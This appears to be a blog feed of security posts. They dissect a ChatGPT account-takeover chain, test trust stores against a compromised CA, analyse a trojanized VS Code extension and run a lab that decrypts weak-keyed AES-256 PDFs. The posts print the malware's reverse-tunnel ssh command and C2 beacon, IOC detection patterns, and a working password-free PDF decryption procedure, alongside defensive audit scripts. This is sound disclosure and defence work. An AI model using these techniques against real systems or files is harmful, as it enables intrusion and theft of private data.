DEV Community: Sam LABBE

We took over ChatGPT accounts: the MathLive postMessage chain, and the 20-line audit for your own listeners

Sam LABBE — Sat, 31 Oct 2026 10:47:43 +0000

Yesterday's disclosure from Parameter is the most elegant web exploit of the month: a complete takeover of ChatGPT accounts where the victim's only action was opening a shared-conversation link. No paste, no login, no click in the final version: about 4.5 seconds from link to JavaScript running as chatgpt.com, reading private conversations and the session token. Reported October 18, escalated from P2 to P1 on October 21, fixed October 26, bounty $5,000. The root is a class of bug almost every web app ships today, which is why this post is the chain dissected step by step, plus a 100-line static audit I wrote and ran against the vulnerable library: it flags exactly the four listeners that made this possible, and your codebase can be scanned the same way tonight.

The chain, in seven moves

The ingredient list: a shared conversation (public feature), MathLive (the math input library ChatGPT loads when a message contains an interactive graph), and the HTML Preview pane that runs on a separate sandboxed origin.

The lure. Attacker shares a conversation containing a real interactive graph (which makes chatgpt.com load MathLive and install its virtual-keyboard message listener) plus an HTML block.
The unguarded door. The sandboxed HTML Preview sends postMessage calls. MathLive's listener never checked who the message came from ("from any web address", per the researchers) and accepted a update-setting message carrying attacker-controlled HTML in the keyboard layouts[].markup field, then a show message.
The sink. The layout renders through keyboardContainer.innerHTML, via a createHTML helper that was a Trusted Types wrapper or identity function, not a sanitizer. I verified the sink in the shipped bundle: s.innerHTML = Qi.createHTML(a) and friends, still present in MathLive 0.100.0.
The origin inheritance. The injected payload is an <iframe srcdoc> without a sandbox attribute. A srcdoc iframe inherits the embedding document's origin: the new frame is chatgpt.com.
The CSP bypass. The Content-Security-Policy blocked inline scripts but allowed YouTube. So the payload loads www.youtube.com/oembed?...&callback=<js>;void, a JSONP-style response whose body begins with attacker-chosen JavaScript. CSP sees a fetch to youtube.com, allowed. The browser executes the callback as script.
The token. Running as chatgpt.com, the code reads the session bootstrap data from the page (#client-bootstrap) and obtains the access token.
The takeover. With the token: GET /backend-api/conversations..., enumerate, read, exfiltrate via an innocent-looking image request. "Any action on behalf of the victim's ChatGPT account."

Every individual piece is a textbook finding. The lesson is the composition: a library's lax listener plus a sandboxed pane plus a permissive CSP plus an unsandboxed srcdoc equals account takeover on the most-visited AI site on earth.

The audit: your listeners, tonight

The bug class has a signature: addEventListener('message', ...) handlers that never reference event.origin or event.source. I wrote a static scanner around that signature (heuristic, minified-bundle-friendly, ~100 lines) and ran it on the two things that matter:

$ python3 postmessage_audit.py mathlive-0.100.0.mjs
[RISK] mathlive-0.100.0.mjs:2841 message listener -> NO SENDER CHECK (.origin/.source absent)
[RISK] mathlive-0.100.0.mjs:2931 message listener -> NO SENDER CHECK (.origin/.source absent)
[RISK] mathlive-0.100.0.mjs:2931 message listener -> NO SENDER CHECK (.origin/.source absent)
[RISK] mathlive-0.100.0.mjs:3084 message listener -> NO SENDER CHECK (.origin/.source absent)

$ python3 postmessage_audit.py mathlive-0.111.1.mjs        # current release
(no message listeners flagged in the main bundle)

$ python3 postmessage_audit.py ~/code/my-app/src/           # your turn

The core of the check (full script embedded below, self-contained):

PATTERNS = [re.compile(r"addEventListener\(\s*['\"`]message['\"`]\s*,"),
            re.compile(r"onmessage\s*=")]
ORIGIN_OK = re.compile(r"(?:event|e|ev|msg|evt)\.(?:origin|source)\b")
DANGEROUS = re.compile(r"innerHTML|insertAdjacentHTML|document\.write|outerHTML|\beval\(|new Function\(")
# for each listener: extract the handler body; flag if ORIGIN_OK absent,
# and flag louder if a DOM sink lives inside the same handler

Honest limits: it is a heuristic on source text (proxy handlers, wrapped frameworks or dynamically-registered listeners can slip through), a clean scan is not a proof, and the runtime gold standard is opening DevTools and watching which listeners react to a synthetic postMessage from a foreign origin. But the pattern it flags is precisely the one that cost OpenAI a P1 this month, and it catches the version that had it while passing the one that does not.

The full script (drop it in a repo or run it in CI over your frontend bundles):

#!/usr/bin/env python3
# postmessage_audit.py <file-or-dir> [...] : flag message listeners without sender checks
import re, sys
from pathlib import Path
RX = [re.compile(r"addEventListener\(\s*['\"`]message['\"`]\s*,"), re.compile(r"onmessage\s*=")]
ORIGIN = re.compile(r"(?:event|e|ev|msg|message|evt)\.(?:origin|source)\b")
SINK = re.compile(r"innerHTML|insertAdjacentHTML|document\.write|outerHTML|\beval\(|new Function\(")
def scan(path):
    try: text = path.read_text(errors="replace")
    except Exception: return
    for rx in RX:
        for m in rx.finditer(text):
            win = text[m.end():m.end()+2000]; depth=0; body=""
            for i,ch in enumerate(win):
                if ch=="{": depth+=1
                elif ch=="}":
                    depth-=1
                    if depth==0: body=win[:i+1]; break
            else: body=win[:1500]
            line = text[:m.start()].count("\n")+1
            v=[]
            if not ORIGIN.search(body): v.append("NO SENDER CHECK")
            if SINK.search(body): v.append("DOM sink in handler")
            if v: print(f"[RISK] {path.name}:{line} -> {'; '.join(v)}")
for a in sys.argv[1:]:
    p=Path(a)
    for f in (sorted(p.rglob("*")) if p.is_dir() else [p]):
        if f.suffix in {".js",".mjs",".ts",".jsx",".tsx",".html",".vue",".svelte"}: scan(f)

The four defenses, in order of leverage

Check the sender, always. First line of every message handler: if (event.origin !== EXPECTED) return;. One line, kills the entire class. That line was missing in a library embedded in one of the world's top websites.
A Trusted Types wrapper that sanitizes, or nothing. createHTML that passes bytes through is a compliance badge on an open door. If you adopt Trusted Types, the policy must actually constrain (DOMPurify or equivalent), not just wrap.
Sandbox your srcdocs. An <iframe srcdoc> without sandbox inherits your origin. sandbox="allow-scripts" (no allow-same-origin) makes the injected document powerless against yours. The preview pane was sandboxed; the attacker's frame was not.
CSP is a budget, audit the allowed list. Any endpoint echoing a callback parameter is a script-execution primitive (JSONP is not dead, it lives in oembed endpoints). youtube.com in a CSP is not "just videos": read it as "YouTube decides what JavaScript runs on my page".

What this means for AI platforms specifically

The trust model of an AI chat app is unusual: user-generated content becomes application UI (shared conversations render graphs, previews, embeds inside the first-party origin). Every library the platform loads to render that content inherits the platform's authority, and the attacker gets to choose which content triggers which library. OpenAI's fix (rejecting cross-frame MathLive messages plus CSP changes) is correct and shipped in eight days. The $5,000 bounty for a full account takeover on the flagship product is, let us note in passing, a curious pricing signal.

TL;DR: a shared ChatGPT link + MathLive's message listener that trusted any sender + innerHTML sink + unsandboxed srcdoc + YouTube JSONP CSP bypass = the session token and every private conversation, patched October 26. The bug class is addEventListener('message') without an origin check; the 100-line audit above flags it in your bundles (and correctly flagged the vulnerable MathLive while passing the fixed one). One line of event.origin validation per listener is the whole vaccine.

Sources: Parameter: We took over ChatGPT accounts · MathLive · audit verified against mathlive 0.100.0 (4 listeners, no sender checks, innerHTML sinks present) and 0.111.1 (pattern absent from main bundle)

pip install could have been hijacked: I tested every trust store on my Mac against the compromised eMudhra chain

Sam LABBE — Fri, 30 Oct 2026 19:51:27 +0000

The writeup that landed tonight (OpenTeams: "Pip Install Could Have Been Hijacked") closes a loop this blog opened ten days ago. The eMudhra intermediate keys, the ones where "the key was the number 4", were recoverable by anyone: Scott Helme pulled all eight "on a laptop in under a second". Values included 4, 56 and 115. Tonight's post spells out what that meant for Python: anyone on your network path could have forged a certificate for pypi.org, and your next pip install would have happily delivered their package. Browsers would have caught it. Python tools never look at the logs that would have caught it. So I ran the full test on my own machine, every trust store, one host: same Mac, same hour, split verdict.

The chain, one paragraph

Recover a weak CA key (act one of this series). Forge a certificate claiming to be pypi.org. Sit on the network path: cafe Wi-Fi, a compromised router, an ISP. When a developer runs pip install requests, serve the forged certificate and a malicious package or wheel. Only installs pinned to exact file hashes would have noticed the swap. And because Chrome and Safari require certificates to appear in public Certificate Transparency logs while pip, requests and friends do not consult them at all, this attack would have left zero traces anywhere. No exploitation has been documented. The feasibility proof is the key recovery itself, which takes under a second.

The five-day counterattack

The part of tonight's post that deserves to be remembered is the response timeline, because the Python packaging ecosystem fixed itself in five days flat:

Oct 17: report reaches Google and Mozilla.
Oct 20: Chrome blocks the certificates in under two hours, Firefox by 22:59 UTC. The Python Software Foundation advisory goes out; fixed certifi (2026.10.19), pip and uv releases ship.
Oct 21: conda, mamba and pixi fixes, plus a conda-forge index edit so that even old installs pull fixed certificates.
Oct 26: new CPython releases, 3.15.2, 3.14.10, 3.13.18, 3.12.16, 3.11.18, block the keys inside the ssl module itself, which protects even old pips running on new Pythons.

One vendor is conspicuously absent from that list, and the omission is the subject of a separate finding this blog also covered: Apple's own git, on the same machine, was still accepting the chain days later. The volunteers beat the trillion-dollar company by a week, and the gap is measurable on my desk.

The four-way test, run live

The method: ask each trust store what it thinks of https://dv-g3b-emudhra.we-have-a-problem.com/, the official check host whose certificate chains through one of the compromised intermediates. A certificate error means protected. A response means the store still trusts the poisoned chain.

1. Apple's git, the system toolchain (from my earlier test this week, same machine, never fixed since):

$ git -c http.curloptResolve=github.com:443:15.235.19.186 clone \
      https://fake-user@github.com/galadran/emudhra-git-test
# README fetched: "INTERCEPTED: your git accepted a certificate from a compromised eMudhra CA"

Vulnerable. A fake github.com was cloned without one warning.

2. Python's stdlib, urllib + ssl:

import urllib.request
urllib.request.urlopen("https://dv-g3b-emudhra.we-have-a-problem.com/", timeout=15)
# ssl.SSLCertVerificationError: CERTIFICATE_VERIFY_FAILED: unable to get local issuer certificate

Protected. The Homebrew OpenSSL bundle under this Python already dropped the roots.

3. pip itself, against a compromised-signed package index:

$ python3 -m pip download --no-deps \
    --index-url https://dv-g3b-emudhra.we-have-a-problem.com/simple/ definitely-not-a-real-package
WARNING: ... SSLError(SSLCertVerificationError('Le certificat «dv-g3b-emudhra...» est bloqué.'))

Protected. The error message literally says blocked. Note this pip is 26.2.1, one patch below the recommended 26.2.2, and its vendored certifi bundle already lacks both affected roots (checked by grepping pip/_vendor/certifi/cacert.pem: emSign ECC Root CA - G3 absent, AAA Certificate Services absent). The update advice still stands, because the explicit block in pip 26.2.2 and in CPython's ssl (3.15.2+) defends even when a bundle slips, and my machine's system certifi is 2026.07.22, two releases behind the fixed 2026.10.19.

4. Your applications, via requests: whatever import certifi resolves to in each virtualenv. On this machine the system certifi 2026.07.22 greps clean for both roots, but per-venv copies vary, and this is the one layer nobody updates. That is the check your CI should own.

Four stores, one machine, one hour: Apple's stack accepted the forged chain, the Python ecosystem refused it. The difference is not talent, it is that packaging maintainers treated a CA compromise as their incident, and shipped.

The audit for your machines

# every interpreter you care about: does it still trust the chain?
python3 -c "import urllib.request
try: urllib.request.urlopen('https://dv-g3b-emudhra.we-have-a-problem.com/', timeout=15); print('VULNERABLE')
except Exception as e: print('protected:', type(e).__name__)"

# pip's vendored bundle (both greps must be empty)
grep -c "emSign ECC Root CA - G3\|AAA Certificate Services" \
  "$(python3 -c 'import pip,os;print(os.path.join(os.path.dirname(pip.__file__),"_vendor","certifi","cacert.pem"))')"

# the versions that matter: pip >= 26.2.2, certifi >= 2026.10.19,
# uv >= 0.13.4, pixi >= 0.82.1, conda >= 26.9.4, CPython latest patch (ssl-level block)
python3 -m pip --version; python3 -c "import certifi; print(certifi.__version__)"

And the two operational notes from tonight's post worth pinning on the wall: rebuild container images and CI caches from scratch, because every layer carries its own frozen copy of the roots; and never disable certificate verification to silence an error, the single most common self-inflicted downgrade that turns a trust-store incident into an open door.

Why this story is the good twin of the whole month

October gave us a steady parade of broken pipelines: disclosure lists leaked, embargoes broken, updates that undo manual fixes, extensions that backdoor you at load. This one is the mirror image: a catastrophic CA failure, and a loosely-coordinated ecosystem of volunteers and maintainers that enumerated its own blast radius correctly (pip, requests, uv, pixi, conda, CPython, Docker images, installers), then closed it in five days, then published the retrospective. The moral of the month is not that everything is broken. It is that the difference between disaster and non-event is whether somebody owns the inventory. Python packaging owned its inventory. Your stack's question is: who owns yours?

TL;DR: the eMudhra keys (values 4, 56, 115) could have signed a fake pypi.org, and pip install would have delivered attacker code with no traces, because Python tools do not check CT logs. The ecosystem fixed itself in five days, down to blocking the keys in CPython's ssl module. My four-way live test: Apple's git still accepts the chain, Python's stdlib, pip and bundles refuse it. Audit commands above, version pins in the post, rebuild your caches.

Sources: OpenTeams: Pip Install Could Have Been Hijacked · eMudhra disclosure + check hosts · Act one: the number-4 key · Act two: the CA exits the business · Apple's git still trusts the chain

A trojanized Claude Code extension plants an SSH backdoor: the 7-point audit for your machine

Sam LABBE — Fri, 30 Oct 2026 08:15:52 +0000

This morning's supply-chain drop, two hours old as I write: the VS Code extension anthropic.claude-code@2.1.313 was trojanized on Open-VSX, published from the account of an Anthropic employee, and the malicious version carried a 66-line loader inserted ahead of the legitimate code. You did not have to chat with Claude, click anything, or approve anything: loading the extension at VS Code startup executed the payload. It inventoried your machine, appended an SSH key named svc-telemetry to your authorized_keys, turned on remote login, opened a reverse tunnel to an attacker server, and persisted as a LaunchAgent disguised as com.apple.sysmond. The full analysis is out; this post is the mechanism in plain steps, every IOC, and a read-only audit script I already ran on my own machine. Every Claude Code, Cursor, Windsurf or VS Code user should run it tonight.

This is the fourth agent-supply-chain story this blog has covered this month, and the most intimate one: LiteLLM stole the credentials your code runs with, Gheist harvested the secrets your CI holds, and now the tool your agent lives inside is the dropper. The perimeter keeps moving inward.

What the loader does, step by step

The trojanized build differed from the legitimate one in a single file, extension.js, where an IIFE (importing process, fs, os, http, crypto) was prepended to the real code. No npm lifecycle scripts, no exotic packing. Then, at extension load:

Recon: hostname, username, OS and architecture, home directory, git email, and the names of up to 40 environment variables matching KEY, TOKEN, SECRET, PASS, AWS, GCP. Names, not values, at this stage: an inventory of what you have.
SSH access: creates ~/.ssh (0700) and appends an Ed25519 public key with the comment svc-telemetry to authorized_keys (0600). Fingerprint: SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk.
Remote access enabled: on macOS it runs sudo -n systemsetup -setremotelogin on (works if your user has passwordless sudo, silently fails otherwise); on Linux it enables sshd; on Windows it installs the OpenSSH Server.
Reverse tunnel: decodes an embedded private key into ${TMPDIR}/.stk_<id> and loops ssh tunnel@134.209.82.225 -N -R '*:0:localhost:22' with host-key checking disabled, reconnecting every 60 seconds (autossh when available). Their server can now reach your SSH, from anywhere, through your own outbound connection.
Persistence: macOS LaunchAgent com.apple.sysmond.plist (RunAtLoad, KeepAlive), a name chosen to smell like a system daemon; Linux @reboot crontab; Windows scheduled task SysMon running as SYSTEM.
Beacon: after 1.5 seconds, fetches your public IP from ifconfig.me or api.ipify.org and POSTs the recon JSON to http://134.209.82.225:8099/beacon. The response is ignored; no second-stage downloader was found in this sample.

Discovery credit goes to Dean Hardcastle, who watched it happen in real time. Important caveat from the analysts themselves: the trojanized sample came from Open-VSX; the Microsoft Marketplace copy was pulled "in an abundance of caution", and nothing published so far proves Anthropic's own infrastructure was breached. The publisher account is the open question.

The audit: 7 checks, read-only, exit code tells you

I wrote the sweep from the published IOCs and ran it on my machine before writing this post. Read-only: it checks, it never modifies.

#!/bin/sh
# hunt_claude_ext.sh - IOC sweep for trojanized anthropic.claude-code@2.1.313
set -u
FOUND=0
hit()  { FOUND=$((FOUND+1)); echo "[!!] $1"; }
clean(){ echo "[ok] $1"; }

# 1. the SSH backdoor key
grep -q "svc-telemetry" "$HOME/.ssh/authorized_keys" 2>/dev/null \
  && hit "authorized_keys contains the svc-telemetry backdoor key" \
  || clean "authorized_keys has no svc-telemetry key"

# 2. the disguised LaunchAgent
[ -f "$HOME/Library/LaunchAgents/com.apple.sysmond.plist" ] \
  && hit "rogue LaunchAgent com.apple.sysmond.plist present" \
  || clean "no rogue com.apple.sysmond LaunchAgent"

# 3. marker files
for f in "$HOME/.config/.smt" "$HOME/.config/.smtk" "$HOME/.config/smt.cmd"; do
  [ -f "$f" ] && hit "marker file $f present"
done
clean "no .smt/.smtk/smt.cmd markers"

# 4. reverse-tunnel key drops
ls "${TMPDIR:-/tmp}"/.stk_* >/dev/null 2>&1 \
  && hit "tunnel key .stk_* in TMPDIR" || clean "no .stk_* in TMPDIR"

# 5. live tunnel process
pgrep -af ssh 2>/dev/null | grep -Eq "134\.209\.82\.225|-R \*:0:localhost:22" \
  && hit "live ssh process matching the C2 tunnel signature" \
  || clean "no ssh process matching the C2 tunnel"

# 6. the extension itself: hash every installed copy's loader
EXT_HASH="ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15"
for d in "$HOME/.vscode/extensions"/anthropic.claude-code-* \
         "$HOME/.vscode-server/extensions"/anthropic.claude-code-* \
         "$HOME/.cursor/extensions"/anthropic.claude-code-*; do
  [ -f "$d/extension.js" ] || continue
  [ "$(shasum -a 256 "$d/extension.js" | cut -d' ' -f1)" = "$EXT_HASH" ] \
    && hit "$d/extension.js MATCHES the trojan hash"
done
clean "no installed extension.js matching the trojan hash"

# 7. macOS Remote Login unexpectedly on
sudo -n systemsetup -getremotelogin 2>/dev/null | grep -q "On" \
  && echo "[??] Remote Login is ON, verify you enabled it yourself" \
  || clean "Remote Login off"

echo "== $FOUND indicator(s) found =="
[ "$FOUND" -gt 0 ] && exit 1 || exit 0

My run, tonight, on the machine I am typing this on:

[ok] authorized_keys has no svc-telemetry key
[ok] no rogue com.apple.sysmond LaunchAgent
[ok] no .smt/.smtk/smt.cmd markers
[ok] no .stk_* in TMPDIR
[ok] no ssh process matching the C2 tunnel
[ok] no installed extension.js matching the trojan hash
[ok] Remote Login off
== 0 indicator(s) found ==   (exit 0)

A clean run is not a clean bill of health forever (the sample analyzed is one build; the operators iterate), but it answers tonight's question. If any check hits: disconnect the machine from the network, rotate credentials from a different, clean system (they inventoried your env-var names for a reason), preserve the artifacts, and rebuild. Interactive SSH access means whatever you find may understate what happened.

The lesson, again: pin what you run

Three structural notes, because the mechanism will repeat:

Open-VSX and the Marketplace serve mutable bits. A publisher account (here: an Anthropic employee's, question mark hanging over how) can replace a trusted extension's code, and every client that auto-updates receives it. The defense that would have caught this in one second is hash pinning, and almost nobody does it for extensions. Check 6 in the script is the pattern: shasum -a 256 on the loader of everything critical you install, recorded when you install it on purpose.
"Loading is executing." The payload ran at extension activation, before any user interaction with the tool. The mental model of "I only use it when I choose to" does not survive contact with how extensions actually load.
The name of the persistence is a social-engineering artifact. com.apple.sysmond, SysMon, svc-telemetry: every IOC in this attack is designed to survive a casual ls. That is why the audit checks exact names and exact hashes, not vibes.

The month's ledger so far: two compromised releases of the most popular LLM proxy, 13,500 secret-dumping CI workflows, transcripts of background agents shipped to the model, and now a trojanized agent extension with SSH persistence. The agents are not the vulnerability. The ecosystem assembling around them is.

TL;DR: trojanized anthropic.claude-code@2.1.313 on Open-VSX backdoored machines at extension load: SSH key svc-telemetry, remote login on, reverse tunnel to 134.209.82.225, LaunchAgent disguised as com.apple.sysmond. Seven-check read-only audit above, my machine: zero indicators. Run yours, hash what you install, and if a check hits: rotate from a clean machine and rebuild.

Sources: OpenSourceMalware: Trojanized Claude Code Extension Plants an SSH Backdoor · IOCs: extension.js SHA-256 ecb58cb2…c6bf15, C2 134.209.82.225 (22, 8099), key fingerprint SHA256:0Z6R+…htk

Your Mac's git cloned a fake github.com without a warning: Apple, eMudhra, act three

Sam LABBE — Thu, 29 Oct 2026 08:06:13 +0000

One week ago the CA whose private key was the number 4 quit the certificate business. Browsers blocked the chain within three days of disclosure, the disclosure site shipped self-checks, and the story felt closed. It is not. Yesterday the same site published the next finding: Apple was notified on October 17, and as of October 28, the developer tools on macOS, git included, still trust the compromised certificates. Not hypothetically. On my machine, ten minutes ago, Apple's git cloned a fake github.com whose certificate was issued from the compromised chain, and it did not print a single warning. The README it fetched begins with the word INTERCEPTED.

This post is the three-legged lab I ran to pin it down: stock Apple git (intercepted), Homebrew git (safe), and the documented workaround (verified, without touching the system). Plus the detail that turns this from "lagging vendor" into something meaner: macOS 27.2, released October 26, silently undid the workaround users had applied by hand.

What is actually exposed

Safari and apps using Apple's networking frameworks were protected days ago; the blocking travels through their fast revocation channels. But the developer toolchain, git, curl, python3 and friends, validates against /etc/ssl/cert.pem without consuming revocation information, and that file still contains the affected roots. The consequences for anyone on your network path, your Wi-Fi, your ISP, your VPN provider, holding one of the eight recovered keys:

git clone and git pull can deliver attacker-chosen code into your working tree
git push traffic, including credentials and tokens, can be captured or altered
every HTTPS call made by the toolchain inherits the same trust gap

For CI runners and build machines on macOS, that is a supply-chain front door. Your brew install is fine (Homebrew shipped its fix days ago); the git that Xcode and the Command Line Tools give you is the one that is not.

Leg one: Apple's git, stock, intercepted

The disclosure site runs a dedicated test host, and an end-to-end demo that redirects github.com to a server presenting a github.com certificate issued from a compromised eMudhra intermediate. The fake-user@ prefix keeps real credentials out of the test. On a fully patched macOS, with the stock toolchain:

$ /usr/bin/git --version
git version 2.54.0 (Apple Git-157)

$ /usr/bin/git ls-remote https://git-emudhra.we-have-a-problem.com/
2975b9930644b321e18ecae09e29c15b955e6103    HEAD
2975b9930644b321e18ecae09e29c15b955e6103    refs/heads/main
                                        (exit 0: the compromised-signed certificate was ACCEPTED)

$ git -c http.curloptResolve=github.com:443:15.235.19.186 clone \
      https://fake-user@github.com/galadran/emudhra-git-test
Cloning into 'emudhra-git-test'...

$ cat emudhra-git-test/README.md
# INTERCEPTED: your git accepted a certificate from a compromised eMudhra CA

That is the whole attack, minus the attacker. A clone of a github.com URL, served by someone else, accepted silently. Swap the test repo for Homebrew/brew or your company's monorepo and the "INTERCEPTED" README becomes your next brew install or your next build.

Leg two: Homebrew git, safe

Homebrew's ca-certificates package removed the affected roots days ago (2026-09-25_1), and its git links against them:

$ /opt/homebrew/bin/git --version
git version 2.56.0

$ /opt/homebrew/bin/git ls-remote https://git-emudhra.we-have-a-problem.com/
fatal: unable to access: SSL certificate OpenSSL verify result:
unable to get local issuer certificate (20)

$ /opt/homebrew/bin/git -c http.curloptResolve=... clone https://fake-user@github.com/...
fatal: SSL certificate problem: unable to get local issuer certificate

Refused, twice. A volunteer-run project shipped the fix that a trillion-dollar company did not, which the disclosure site notes is a pattern: dozens of downstream distributions, many of them volunteer-maintained, got this done within days.

Leg three: the workaround, verified without touching the system

The documented fix is to strip the two affected roots from the file the tools read. You can prove it works before applying it system-wide, by pointing git at a cleaned copy (the official awk one-liner, minus the sudo):

awk '/^(###|===) /{skip=0}
/^=== .*\/CN=(AAA Certificate Services|emSign ECC Root CA - G3)$/{skip=1}
!skip' /etc/ssl/cert.pem > /tmp/clean-bundle.pem
# 128 certificates in, 126 out

/usr/bin/git -c http.sslCAInfo=/tmp/clean-bundle.pem \
             -c http.curloptResolve=github.com:443:15.235.19.186 clone \
             https://fake-user@github.com/galadran/emudhra-git-test
fatal: SSL certificate problem: unable to get local issuer certificate

Same Apple git, same fake server, cleaned bundle: refused. That is the fix Apple is being asked to ship, demonstrated end to end. To apply it for real, follow the site's macOS steps, and then the catch below.

The part that should make you angry

macOS 27.2 shipped on October 26, nine days after disclosure, and according to the disclosure it did not fix the issue and undid the workaround that users had applied by hand. Apple's own guidance says system updates may revert manual trust-store changes, so anyone who cleaned their bundle on October 20 woke up re-exposed on October 27 without doing anything. If you applied the workaround, the sequence is not "fix once", it is: apply, then re-run the two self-checks after every macOS update, exactly like a regression test. For fleet owners: your MDM baseline for macOS dev machines now includes "cert.pem does not contain emSign ECC Root CA - G3 or AAA Certificate Services", asserted continuously, because the OS will fight you.

The check for your machine, tonight

# any git, one line: error = safe, listing = vulnerable
git ls-remote https://git-emudhra.we-have-a-problem.com/

# the end-to-end proof (safe: no real credentials involved)
git -c http.curloptResolve=github.com:443:15.235.19.186 clone \
      https://fake-user@github.com/galadran/emudhra-git-test

If you get refs and a README that says INTERCEPTED: your toolchain trusts a CA whose keys have been public for twelve days, a firm that has already left the certificate business. Clean the bundle or move your git to Homebrew's, then re-check after the next macOS update, and the one after that.

TL;DR

Act one: the key was the number 4. Act two: the CA quit the business. Act three, yesterday's finding: Apple's developer tools still trust the poisoned chain, an update shipped nine days post-discussion silently reverted users' own fixes, and my stock Mac cloned a fake github.com without one byte of warning. Homebrew's git refuses it; the awk workaround makes Apple's git refuse it; the check is one git ls-remote you can run right now. The trust fabric held for browsers and failed for builders. Your build pipeline is the perimeter now.

Sources: Apple's git still trusts the compromised eMudhra certificates · main disclosure + self-checks · Act one: the number-4 key · Act two: the exit

Your PDF says AES-256. The key had 9 bits of entropy.

Sam LABBE — Wed, 28 Oct 2026 21:56:31 +0000

I just created a PDF with AES-256 encryption and a password, watched the reader refuse to open it without that password, and then decrypted it without any password in 0.63 seconds, secret contents fully recovered. The tool that did it is public since yesterday. The vulnerability is not in AES, and not in the password: it is in the key generation, where a "256-bit" key was derived from a timestamp-seeded pseudo-random generator with 9 bits of effective entropy. This is the story of V12's PDF decryptors, and below is the lab I ran end to end on my machine, which you can rerun in ten minutes.

What PDF encryption is supposed to do

PDF standard security, revision 6 (the AES-256 one, AESV3), has a sound design: the file is encrypted with a random 32-byte file key. Your password never encrypts the document directly; it wraps the file key (/UE in the encryption dictionary). Break the design assumption that the 32 bytes are random, and the password stops mattering: recover the file key, read the file, the password never enters the story.

MuPDF before 1.28.5, Foxit Reader 2026.1.3, OpenPDF 3.0.5 and iText 9.7.1 each broke that assumption differently. Same AES-256 label, same certificate on the box, entropy theater inside.

MuPDF: 9 bits, 512 keys, 7 milliseconds

MuPDF's fz_memrnd() generated the file key from a 48-bit LCG (drand48 family) seeded once with the epoch time in seconds. Two implementation details collapse the space:

each output byte keeps only state bits 17-24 of the LCG;
the seeding initializes the low 16 bits of the state to the constant 0x330E.

Run the math and only 9 bits of the timestamp influence the output stream: timestamps 512 seconds apart produce the identical "random" bytes. I verified this directly, using the exact derivation from V12's published PoC (POSIX LCG constants, a=0x5DEECE66D, c=0xB):

state = 0x330E | ((seed & 0xFFFF) << 16) | (((seed >> 16) & 0xFFFF) << 32)
# each byte: state = (a*state + c) mod 2**48 ; byte = (state >> 17) & 0xFF

keystream(t)      == keystream(t + 512)  : True
keystream(t)      != keystream(t + 511)  : True
512 candidate keystreams generated in   : 7 ms

A "256-bit" key with 512 candidates. The encrypted permissions field /Perms gives a known-plaintext oracle: for each candidate key, check whether the decryption matches the document's permission bits. One of the 512 passes.

The lab, end to end

Reproducible on any machine with Python and Homebrew:

brew install mupdf                      # mutool 1.28.5 (fixed; used only as the reader/writer)
python3 -m venv v && v/bin/pip install "pymupdf<1.28.5" cryptography
git clone https://github.com/v12-security/pocs

Step 1: create a victim with the vulnerable stack (pymupdf 1.28.2 bundles MuPDF 1.28.2):

import pymupdf
doc = pymupdf.open(); page = doc.new_page()
page.insert_text((72, 200), "TOP SECRET: the mermaid lands at 0400. Auth code KHAKI-7741.")
doc.save("secret.pdf", encryption=pymupdf.PDF_ENCRYPT_AES_256,
         user_pw="hunter2", owner_pw="owner-pw")

Step 2: confirm the lock is real. mutool show secret.pdf trailer answers cannot authenticate password. The encryption dictionary says /AESV3, /R 6. Everything looks exactly like strong crypto is supposed to look.

Step 3: the attack, no password:

$ v/bin/python pocs/pdf_decryptors/mupdf/decrypt.py secret.pdf decrypted.pdf
[+] Recovered and verified the AES-256 file key
    seed time(NULL) mod 512 = 33
    key  022531fd36d99f642258484ad123e7ab0188b951af6718623a11b813364c7c7b
[+] Wrote unencrypted PDF to decrypted.pdf
                                      (0.12 s user, 0.63 s wall)

Step 4: read the plaintext:

$ mutool draw -F txt -o - decrypted.pdf
TOP SECRET: the mermaid lands at 0400. Auth code KHAKI-7741.

Twelve hundred milliseconds after meeting the file, its "AES-256" protection is a memory. The PoC then re-wraps the recovered key under a known password and lets mutool write a clean copy; brute force was never needed because there were only ever 512 keys.

Foxit: SHA-256, a timestamp, and the word "there"

Foxit Reader 2026.1.3.36551 derived its file key as SHA-256 of a 32-bit timestamp, 32 uninitialized bytes (zeros in practice), and the literal string "there". From the published Rust PoC, verbatim:

material[..4].copy_from_slice(&timestamp.to_le_bytes());
material[36..].copy_from_slice(b"there");

Thirty-two bits of timestamp means 2^32 candidates at worst, but the /Perms known-plaintext check prunes instantly, and a 32-thread search covers every second since 1970 in under five seconds. The uninitialized-memory bytes add zero entropy on every machine V12 tested.

The lineage detail that widens the blast radius: this exact derivation appears in PDFium's first public commit (May 2014), with the file crediting Foxit as the original author. PDFium is Chromium's PDF engine, embedded in countless editors and viewers. Anyone who copied that code path inherited a timestamp-derived "AES-256" key.

OpenPDF 3.0.5 and iText 9.7.1 close the set: keys from an ARC4 stream seeded with a millisecond timestamp plus the JVM's free memory, guessable from the plaintext salts in /U and /O, with a larger but still tractable search.

The cipher was never the problem

This is the pattern the whole month has been about, in miniature. AES-256 is fine. The password wrapping is fine. The spec (rev 6) is fine. What broke was the boring plumbing between "the spec says random" and "the code called rand()": an LCG seeded by a clock, uninitialized memory, a string someone needed for alignment. The same class of failure as the CA whose intermediate key was the number 4 and the KV pool sized at 65% of the context window: the strong primitive at the end of a weak pipe is a weak primitive. "AES-256" on a feature list is a claim about 2^256, and the only thing that makes it true is where the key bytes come from.

What to do now

MuPDF users: 1.28.5 fixes key generation, but does not fix existing files: every AES-256 PDF written by an older MuPDF still has one of 512 keys today. If those documents matter, treat them as unencrypted and re-issue them: new file, current software. pymupdf ships vulnerable MuPDF across many versions, so check what your pipeline embeds (pymupdf.mupdf_version_tuple).
Foxit / PDFium-derivatives: update, then assume PDFs written by affected versions are timestamp-recoverable and re-issue what matters.
Everyone else: next time a vendor says "military-grade AES-256", ask where the key bytes come from. That question, answered honestly, is the entire field of cryptography engineering.

TL;DR: password-protected "AES-256" PDFs from MuPDF < 1.28.5 have 9 bits of key entropy: 512 candidates, 7 ms to generate, sub-second recovery with public tooling. Foxit hashed a timestamp and the string "there"; PDFium carried that code since 2014. I created, locked, and passwordlessly decrypted one in my lab in under a second, with every command above reproducible.

Sources: V12: The case of the 9 bit AES key · PoC decryptors (v12-security/pocs) · MuPDF fix in 1.28.5

A 16-year-old buffer overflow boots before your defenses: CVE-2026-97631 in EDK II's PXE driver

Sam LABBE — Wed, 28 Oct 2026 13:29:51 +0000

